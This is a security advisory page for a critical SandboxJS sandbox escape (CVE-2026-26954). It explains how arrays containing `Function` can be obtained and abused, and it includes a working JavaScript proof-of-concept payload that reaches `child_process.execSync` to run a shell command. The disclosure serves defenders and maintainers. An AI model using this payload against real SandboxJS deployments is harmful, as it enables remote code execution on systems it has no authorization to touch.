CVE-2026-26954

CRITICAL10.0EPSS 0.10%

SandboxJS affected by a Sandbox Escape

Published: 3/13/2026Modified: 3/16/2026
Also known as:GHSA-6r9f-759j-hjgv

Description

### Summary It is possible to obtain arrays containing `Function`, which allows escaping the sandbox. ### Details There are various ways to get an array containing `Function`, e.g. ```js Object.entries(this).at(1) // [ 'Function', [Function: Function] ] Object.values(this).slice(1, 2) // [ [Function: Function] ] ``` Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox. ### PoC ```js const s = require('.').default; const sb = new s(); payload = ` const p = (async function () {})(); ({ "finally": p.finally, ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]), }).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')(); `; sb.compile(payload)().run(); ``` ### Impact Sandbox Escape -> RCE

Affected packages (1)

CVSS scores

SourceVersionSeverityVector
osvCVSS 3.1CRITICAL10.0CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

References (5)